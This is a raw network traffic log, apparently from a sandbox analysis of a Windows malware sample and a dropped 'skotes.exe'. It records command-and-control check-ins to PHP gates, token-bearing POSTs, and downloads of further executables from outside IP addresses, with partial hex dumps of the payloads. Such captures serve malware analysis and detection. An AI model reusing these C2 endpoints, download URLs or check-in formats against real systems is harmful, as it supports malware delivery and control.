Dec 20, 2024 16:07:06.288969994 CET	271	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:07:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49806	185.215.113.16	80	5044	C:\Users\user\Desktop\R2CgZG545D.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:07:06.413330078 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 20, 2024 16:07:07.745374918 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:07:06 GMT Content-Type: application/octet-stream Content-Length: 2990592 Last-Modified: Fri, 20 Dec 2024 14:42:41 GMT Connection: keep-alive ETag: "67658261-2da200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 50 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfP1@1&.@Wk.1d.1 @.rsrc@.idata @ascqmpzr**@vkonyklc@1z-@.taggant0P1"-@
Dec 20, 2024 16:07:07.745529890 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:07:07.745541096 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:07:07.745702982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:07:07.745713949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:07:07.745728016 CET	672	IN	Data Raw: bc 02 9e a1 fa 36 82 a1 9d 4b 8d bf b9 a2 c8 d6 19 6b 3f c0 84 f2 9e 84 86 ed 77 58 18 16 33 33 e0 46 5b bb 6d 0f 55 04 b8 27 36 53 5f 5e 77 e4 6c 4e b0 c5 6a 82 9d 73 c5 02 fa ad 86 aa 17 04 f8 70 ac 4e 6a ae 8d bc 84 75 f0 59 98 3a 0e b3 db a6 Data Ascii: 6Kk?wX33F[mU'6S_^wlNjspNjuY:WX8rn:f#(z=vy=>r=P>b/9Pp8ShLjrozo00^%ecu#9u*b<0eA1Y=6ML_v3+
Dec 20, 2024 16:07:07.745740891 CET	1236	IN	Data Raw: 8a dd 02 c0 78 4a 9f 7c 6c 4e 70 c4 6a c2 9d 33 40 52 8a c0 88 87 3a 96 c6 d6 53 b0 6d 0d 63 25 48 e2 ba c5 ac 46 35 9f 88 62 6f d8 79 b8 34 20 aa 72 63 91 8d cf 9c f0 a7 43 74 b8 8d 52 fe a1 2d 4e f6 dc a0 42 3b fa b9 17 f6 59 21 ea e2 bc 39 8f Data Ascii: xJ\|lNpj3@R:Smc%HF5boy4 rcCtR-NB;Y!91j&gffbTrOp`,(.:\|=0ul4^/P e8:<C@&wFeX/#kd:4`ya0.)-u
Dec 20, 2024 16:07:07.745878935 CET	1236	IN	Data Raw: b5 ee c4 44 75 78 92 4e 5b 78 4c db f4 27 b4 90 42 66 a5 68 41 6f f6 7d 8c 63 ad c3 78 7e 5b 73 6c ba eb 53 78 7f 48 c9 24 52 eb e6 2f 91 69 e0 8e d3 8e 50 a4 2a 4e b5 c1 76 e1 73 7b df d9 d7 59 6f c0 02 f9 99 18 5b 51 3a 7c dd 5c d6 ff d0 f4 f2 Data Ascii: DuxN[xL'BfhAo}cx~[slSxH$R/iPNvs{Yo[Q:\|\k^rX3)wjYj`5!33<NfGt/qJrRa.WiTxropKsJ2b'EN93gxS!y:RjU$f=
Dec 20, 2024 16:07:07.745893955 CET	1236	IN	Data Raw: 10 93 f1 0c a9 64 a4 17 72 fc 7e c3 d6 90 69 06 23 76 68 94 ad 68 ec 37 7b b2 69 7a ee d7 62 64 07 7f 8f 42 34 4b 52 5a 5b ba da 4b a4 41 75 02 62 7f 9c 7b bd 79 38 c0 f5 f1 b6 25 a2 63 7b 05 70 95 36 c4 12 77 50 f9 e3 80 88 0b 4e a1 66 a0 6f e0 Data Ascii: dr~i#vhh7{izbdB4KRZ[KAub{y8%c{p6wPNfo]h}PlfsPHy7;A[2?pZQjqC]/r+&4Dfshj3( r>3B2t>T7%"T[Mov*kW}
Dec 20, 2024 16:07:07.745907068 CET	1236	IN	Data Raw: 94 0a 42 e4 ac 44 59 7a 2f 40 70 2b bf 9b 42 b2 49 e2 a2 64 29 13 ab ec 8c d3 87 5a 8d e2 35 55 be c6 36 05 b8 70 70 58 ff 45 56 e8 ff 75 f9 2d 88 ba ea 81 06 68 3d 84 e0 da dd d6 1e 2a 32 8e 2e a0 b2 5c b9 d4 36 e1 70 6a fd 01 0c dc b6 86 b6 a5 Data Ascii: BDYz/@p+BId)Z5U6ppXEVu-h=*2.\6pjI.{@Xa':{zEqP4F+Lo>aoz@9<8d2z\|!p<6gsxw:gJpS(d<^bId#N"Cp"~@k Ufx
Dec 20, 2024 16:07:07.865192890 CET	1236	IN	Data Raw: 66 6e 31 88 82 f5 44 67 bb 57 68 39 cd 94 ec 6e ab 6a 60 b8 c1 3c 7a 78 2c 14 88 5b 00 e6 46 80 6c 7e f4 16 d2 af 88 f5 52 c4 ba 71 78 ed 36 ae 6d 40 40 8a ac ed 98 08 9a 73 08 b8 e2 a5 ae 33 60 36 8d a3 29 e9 5a 00 6c da 3b f0 2e 0b b6 ff c8 f6 Data Ascii: fn1DgWh9nj`<zx,[Fl~Rqx6m@@s3`6)Zl;.b.CY3bpvqkdxv=e"h<+o-ryA%NB#?aB;v9Yr40#%]6Ywyij"frB7 i8R*XO4"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49822	185.215.113.206	80	5044	C:\Users\user\Desktop\R2CgZG545D.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:07:13.167049885 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBKKEBKEBGIDHIEHCF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 2d 2d 0d 0a Data Ascii: ------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCFBKKEBKEBGIDHIEHCF--
Dec 20, 2024 16:07:13.528470993 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBKKEBKEBGIDHIEHCF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 2d 2d 0d 0a Data Ascii: ------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCFBKKEBKEBGIDHIEHCF--
Dec 20, 2024 16:07:15.513617992 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:07:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49935	185.215.113.43	80	7912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:08:04.478394985 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2024 16:08:05.827570915 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49942	185.215.113.43	80	7912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:08:07.462466955 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 20, 2024 16:08:08.844826937 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 35 64 0d 0a 20 3c 63 3e 31 30 31 38 36 31 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 36 63 30 31 38 31 34 65 66 30 37 62 31 31 35 31 37 30 33 34 35 38 31 38 34 66 30 31 35 61 38 61 66 39 61 35 35 33 36 65 36 23 31 30 31 38 36 32 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 38 36 32 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 38 36 32 35 30 30 31 2b 2b 2b 62 35 39 33 [TRUNCATED] Data Ascii: 75d <c>1018614001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d26c01814ef07b1151703458184f015a8af9a5536e6#1018623001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1018624001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1018625001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc97c994e5faf1cf64d4a485a9592e100b7#1018626001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1018627001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1018628001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e804d03ac52ea484b411b9dc4e1#1018629001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1018630001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1018631001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450 [TRUNCATED]
Dec 20, 2024 16:08:08.845094919 CET	124	IN	Data Raw: 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 38 36 33 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 Data Ascii: d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1018633001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042b
Dec 20, 2024 16:08:09.103157997 CET	716	IN	Data Raw: 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 38 36 33 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 62 32 38 34 36 Data Ascii: a5ce902415450#1018634001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1018635001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbe06d9d4a43ba4ae81c16034799d2e017bfe3d1482b#1018636001+++b5937c1a99d5f9df0b5d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49946	31.41.244.11	80	7912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:08:09.228635073 CET	66	OUT	GET /files/6929814593/py8tmzb.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 16:08:10.559844971 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:08:10 GMT Content-Type: application/octet-stream Content-Length: 644608 Last-Modified: Fri, 20 Dec 2024 14:26:50 GMT Connection: keep-alive ETag: "67657eaa-9d600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 09 7d 65 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 ca 09 00 00 0a 00 00 00 00 00 00 72 40 00 00 00 20 00 00 00 00 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 0a 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 4f 00 00 00 00 00 0a 00 64 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0a 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL}eg0r@ @ @@ @Od H.textx `.rsrcd@@.reloc @BT@H`&"(>(}(}({rpcl((}0 &%(+F(`(0(,(0:+f&%GiYR&%G4XRXi-F((*0s{((({({(~(,Rrp(~(
Dec 20, 2024 16:08:10.560256004 CET	1236	IN	Data Raw: 05 2c 31 00 11 04 d0 0e 00 00 02 28 1f 00 00 0a 28 20 00 00 0a 74 0e 00 00 02 13 06 11 06 6f 36 00 00 06 00 08 15 28 07 00 00 06 26 08 28 06 00 00 06 26 00 00 2b 00 2a 00 00 00 13 30 01 00 0d 00 00 00 05 00 00 11 00 28 0d 00 00 06 00 16 0a 2b 00 Data Ascii: ,1(( to6(&(&+0(+"(v~o&}}Z(!sj("o#sV($sV(%s06{
Dec 20, 2024 16:08:10.560269117 CET	1236	IN	Data Raw: 00 00 00 60 15 00 00 94 00 00 00 23 55 53 00 f4 15 00 00 10 00 00 00 23 47 55 49 44 00 00 00 04 16 00 00 bc 03 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 02 00 00 01 57 bf a2 35 09 02 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 34 00 00 00 11 00 00 Data Ascii: `#US#GUID#BlobW534>[.c@JPz>zTffffff
Dec 20, 2024 16:08:10.561248064 CET	1236	IN	Data Raw: 24 00 00 00 00 86 00 af 05 2a 02 29 00 f4 24 00 00 00 00 91 00 4d 08 32 02 2c 00 a0 25 00 00 00 00 86 00 a4 00 01 00 2e 00 04 26 00 00 00 00 91 18 3c 07 d4 01 2f 00 10 26 00 00 00 00 83 18 36 07 39 02 2f 00 28 26 00 00 00 00 e6 01 9d 02 06 00 31 Data Ascii: $*)$M2,%.&</&69/(&16?1E3K5U96?:[<b=k@6?ACbD
Dec 20, 2024 16:08:10.561265945 CET	896	IN	Data Raw: 01 96 08 33 00 f9 00 66 09 dd 00 21 01 b4 09 e3 00 f9 00 f3 04 e6 00 b1 00 33 05 eb 00 21 01 ac 09 5d 00 d9 00 9d 02 06 00 0e 00 1c 00 fe 00 0e 00 20 00 27 01 08 00 34 00 84 01 08 00 38 00 89 01 08 00 3c 00 8e 01 08 00 40 00 93 01 27 00 12 00 b1 Data Ascii: 3f!3!] '48<@'....#.+.3.;.C.K.S'.[\.c\.kl.sy.{CCccc9Ygs
Dec 20, 2024 16:08:10.562232018 CET	1236	IN	Data Raw: 55 6e 69 63 6f 64 65 00 45 6e 64 49 6e 76 6f 6b 65 00 42 65 67 69 6e 49 6e 76 6f 6b 65 00 49 44 69 73 70 6f 73 61 62 6c 65 00 52 75 6e 74 69 6d 65 46 69 65 6c 64 48 61 6e 64 6c 65 00 52 75 6e 74 69 6d 65 54 79 70 65 48 61 6e 64 6c 65 00 43 6c 6f Data Ascii: UnicodeEndInvokeBeginInvokeIDisposableRuntimeFieldHandleRuntimeTypeHandleCloseHandlehHandleGetTypeFromHandleFilehModulelpProcNamelpFileNameDllNameAtomNamenameCombineValueTypeDisposeFileCreateMulticastDelegateStatestateFi
Dec 20, 2024 16:08:10.562243938 CET	1236	IN	Data Raw: 6c 6c 49 6d 70 6f 72 74 45 78 63 65 70 74 69 6f 6e 00 5a 65 72 6f 00 69 41 70 70 00 47 65 74 4d 65 6d 6f 72 79 4d 65 6d 62 65 72 00 53 70 65 63 69 61 6c 46 6f 6c 64 65 72 00 44 6c 6c 50 65 72 66 43 6f 64 65 4d 61 72 6b 65 72 00 47 65 74 44 65 6c Data Ascii: llImportExceptionZeroiAppGetMemoryMemberSpecialFolderDllPerfCodeMarkerGetDelegateForFunctionPointerBitConverterGetLocalError.ctor.cctorIntPtrSystem.DiagnosticsdwMillisecondsNativeMethodsSystem.Runtime.InteropServicesSystem.Runt
Dec 20, 2024 16:08:10.563487053 CET	1236	IN	Data Raw: 65 00 4d 00 61 00 72 00 6b 00 65 00 72 00 73 00 45 00 6e 00 61 00 62 00 6c 00 65 00 64 00 5c 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 2e 00 50 00 65 00 72 00 66 00 6f 00 72 00 6d Data Ascii: eMarkersEnabled\Microsoft.Internal.Performance.CodeMarkers.dll*P@D q
Dec 20, 2024 16:08:10.563509941 CET	1236	IN	Data Raw: ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca 32 f7 c6 ca 8a ca ca ca ca ca ca ca ca ca ca ca ca 4a c6 ca 76 c9 ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca ca 9c 56 65 52 56 ca ca ca f2 5f c6 ca ca ba ca ca ca 5e c6 Data Ascii: 2JvVeRV_^jXfiVixeJdZfiVi"Xe^[gL
Dec 20, 2024 16:08:10.564773083 CET	1236	IN	Data Raw: cb aa fc c2 f0 c2 d5 9a e0 c2 ea 96 cb 4a 01 c9 aa 02 c2 08 12 06 b9 dc d2 11 35 51 0c 36 d4 08 c9 bb 85 09 41 84 ae e1 b9 c9 ca ca 3f 84 a2 03 ca 18 c8 ca ca 3f 84 9e d8 bb ba c5 3a 49 c6 ba d8 bb b9 ca 3f 84 9a 04 ca ca 3f 7c 96 3d c5 72 48 c6 Data Ascii: J5Q6A??:I??\|=rHGA?\|?\|)'?'GAGG6G.B%AA:M?\|2IL?\|"\=elkomr
Dec 20, 2024 16:08:10.679606915 CET	1236	IN	Data Raw: 3b 81 7c 4f bb 1b 00 47 e9 c9 47 d1 ca bb 36 07 47 d2 c0 bb 2e 04 42 f2 96 cb 42 d6 4a d6 cb 19 c9 4a d9 ca 42 08 4a e8 ca aa ff 42 e5 4a e5 ca aa fc c2 f0 c2 d5 9a e0 c2 ea 96 cb 4a 01 ca aa 02 c2 08 12 bc 06 a6 1d 11 b7 87 1b 87 d4 08 c9 bb 85 Data Ascii: ;\|OGG6G.BBJJBJBJJA?')'GAGG6G.BBJJBJBJJk_A?AGA\|GA?')'GAGG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49958	185.215.113.43	80	7912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:08:14.321589947 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 36 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018614001&unit=246122658369
Dec 20, 2024 16:08:15.670414925 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:08:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49965	31.41.244.11	80	7912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:08:15.794657946 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
